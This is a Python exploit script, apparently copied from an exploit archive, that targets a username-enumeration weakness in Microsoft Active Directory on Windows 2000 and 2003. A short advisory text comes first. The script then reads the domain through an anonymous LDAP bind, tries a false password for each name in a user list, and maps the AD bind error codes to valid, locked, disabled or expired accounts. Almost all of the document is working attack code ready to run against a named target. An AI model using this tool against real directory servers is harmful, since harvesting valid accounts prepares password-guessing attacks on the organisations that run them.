236 lines
No EOL
6.7 KiB
Python
Executable file
236 lines
No EOL
6.7 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/32305/info
|
|
|
|
Microsoft Active Directory is prone to a username-enumeration weakness because of a design error in the application when verifying user-supplied input.
|
|
|
|
Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks.
|
|
|
|
This issue affects Active Directory on these versions of Windows:
|
|
|
|
Windows 2000 SP4
|
|
Windows Server 2003 SP1 and SP2
|
|
|
|
Other versions may also be affected.
|
|
|
|
#!/usr/bin/env python
|
|
|
|
'''
|
|
Microsoft Windows Active Directory LDAP Server Information
|
|
Disclosure Vulnerability Exploit
|
|
(c) 2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
|
License: GPLv2
|
|
|
|
Version: 0.1
|
|
|
|
References:
|
|
* http://labs.portcullis.co.uk/application/ldapuserenum/
|
|
* http://www.portcullis-security.com/40.php
|
|
|
|
Successfully tested on:
|
|
* Microsoft 2000 Server Service Pack 4 + Update Rollup 1 Full Patched at
|
|
October 2008
|
|
* Microsoft 2003 Standard Service Pack 2 Full Patched at October 2008
|
|
'''
|
|
|
|
|
|
import os
|
|
import re
|
|
import sys
|
|
import traceback
|
|
|
|
try:
|
|
import ldap
|
|
except:
|
|
print 'ERROR: this tool requires python-ldap library to be installed, get it '
|
|
print 'from http://python-ldap.sourceforge.net/ or apt-get install python-ldap'
|
|
sys.exit(1)
|
|
|
|
from optparse import OptionError
|
|
from optparse import OptionParser
|
|
|
|
|
|
def LDAPconnect(target, port=389, version=ldap.VERSION3):
|
|
try:
|
|
# Connect to the remote LDAP server
|
|
l = ldap.open(target, port)
|
|
|
|
# Set the LDAP protocol version
|
|
l.protocol_version = version
|
|
except:
|
|
print 'ERROR: unable to connect to the remote LDAP server'
|
|
|
|
return l
|
|
|
|
|
|
def LDAPinfo(target, info=False):
|
|
# Connect to the remote LDAP server
|
|
l = LDAPconnect(target)
|
|
|
|
# Retrieved machine domain
|
|
domain = None
|
|
|
|
# Set search requirements and directory
|
|
baseDN = ''
|
|
searchScope = ldap.SCOPE_BASE
|
|
resultSet = []
|
|
|
|
# Retrieve all LDAP attributes
|
|
retrieveAttributes = None
|
|
searchFilter = 'objectClass=*'
|
|
|
|
try:
|
|
# Get LDAP information
|
|
ldapResultId = l.search(baseDN, searchScope, searchFilter, retrieveAttributes)
|
|
except ldap.SERVER_DOWN, _:
|
|
print 'ERROR: unable to connect to the remote LDAP server'
|
|
return domain
|
|
|
|
while True:
|
|
resultType, resultData = l.result(ldapResultId, 0)
|
|
|
|
if not resultData:
|
|
break
|
|
elif resultType == ldap.RES_SEARCH_ENTRY:
|
|
resultSet.append(resultData)
|
|
|
|
results = resultSet[0][0][1]
|
|
|
|
if results:
|
|
if info:
|
|
print '\n[*] LDAP information:'
|
|
else:
|
|
print 'Unable to perform LDAP information gathering, probably anonymous LDAP bind is forbidden'
|
|
|
|
domain = raw_input('Please, provide the machine domain yourself: ')
|
|
|
|
return domain
|
|
|
|
# Print LDAP information
|
|
for key, values in results.items():
|
|
if info:
|
|
print '\t[*] %s' % key
|
|
|
|
for value in values:
|
|
if info:
|
|
print '\t\t[*] %s' % value
|
|
|
|
domainRegExp = re.search('DC=([\w\.]+)', value, re.I)
|
|
|
|
if domainRegExp:
|
|
domain = domainRegExp.group(1)
|
|
|
|
print
|
|
|
|
return domain
|
|
|
|
|
|
def LDAPusersEnum(target, domain):
|
|
# Enumerated users
|
|
users = {}
|
|
|
|
# Path to users list
|
|
usersFilePath = './users.txt'
|
|
|
|
# Active Directory LDAP bind errors
|
|
# Source: http://www-01.ibm.com/support/docview.wss?rs=688&uid=swg21290631
|
|
errorCodes = {
|
|
#'525': 'user not found',
|
|
'52e': 'invalid credentials',
|
|
'530': 'not permitted to logon at this time',
|
|
'531': 'not permitted to logon at this workstation',
|
|
'532': 'password expired',
|
|
'533': 'account disabled',
|
|
'701': 'account expired',
|
|
'773': 'user must reset password',
|
|
'775': 'user account locked',
|
|
}
|
|
|
|
# Check if users list exists
|
|
if not os.path.exists(usersFilePath):
|
|
print 'ERROR: users list file %s not found' % usersFilePath
|
|
return
|
|
|
|
print 'Going to enumerate users taking \'%s\' file as input\n' % usersFilePath
|
|
|
|
# Load users from a text file
|
|
fd = open(usersFilePath, 'r')
|
|
|
|
for user in fd.readlines():
|
|
user = user.replace('\n', '').replace('\r', '')
|
|
|
|
# Skip empty and commented lines
|
|
if not user or user[0] == '#':
|
|
continue
|
|
|
|
# Set search requirements and directory
|
|
baseDN = '%s@%s' % (user, domain)
|
|
password = 'UnexistingPassword'
|
|
|
|
try:
|
|
# Connect and perform an LDAP bind with an invalid password and
|
|
# request results
|
|
l = LDAPconnect(target)
|
|
num = l.bind_s(baseDN, password)
|
|
result = l.result(num)
|
|
|
|
except ldap.SERVER_DOWN, _:
|
|
print 'ERROR: unable to connect to the remote LDAP server'
|
|
return
|
|
|
|
except:
|
|
# Python LDAP library only handles a number of exception, not
|
|
# all of the possible ones so we except globally and parse the
|
|
# exception message to distinguish between existing and
|
|
# unexisting user
|
|
errorMessage = str(traceback.format_exc())
|
|
|
|
detectedErrorCode = re.search(' data ([\w]+),', errorMessage)
|
|
|
|
if not detectedErrorCode:
|
|
continue
|
|
|
|
detectedErrorCode = detectedErrorCode.group(1).lower()
|
|
|
|
if detectedErrorCode in errorCodes.keys():
|
|
users[user] = detectedErrorCode
|
|
|
|
if users:
|
|
print '[*] Enumerated users:'
|
|
|
|
for user, detectedErrorCode in users.items():
|
|
print '\t[*] User: %s' % user
|
|
print '\t\t[*] LDAP error code: %s' % detectedErrorCode
|
|
print '\t\t[*] LDAP message: %s' % errorCodes[detectedErrorCode]
|
|
else:
|
|
print '[*] No users enumerated'
|
|
|
|
|
|
if __name__ == '__main__':
|
|
usage = '%s [-i] -t <target>' % sys.argv[0]
|
|
parser = OptionParser(usage=usage, version='0.1')
|
|
|
|
try:
|
|
parser.add_option('-d', dest='descr', action='store_true', help='show description and exit')
|
|
|
|
parser.add_option('-t', dest='target', help='target IP or hostname')
|
|
|
|
parser.add_option('-i', '--info', dest='info', action='store_true',
|
|
help='show LDAP information gathering results')
|
|
|
|
(args, _) = parser.parse_args()
|
|
|
|
if not args.descr and not args.target:
|
|
parser.error('Missing the target, -h for help')
|
|
|
|
except (OptionError, TypeError), e:
|
|
parser.error(e)
|
|
|
|
if args.descr:
|
|
print __doc__
|
|
sys.exit(0)
|
|
|
|
domain = LDAPinfo(args.target, args.info)
|
|
|
|
if domain:
|
|
domain = str(domain).upper()
|
|
LDAPusersEnum(args.target, domain) |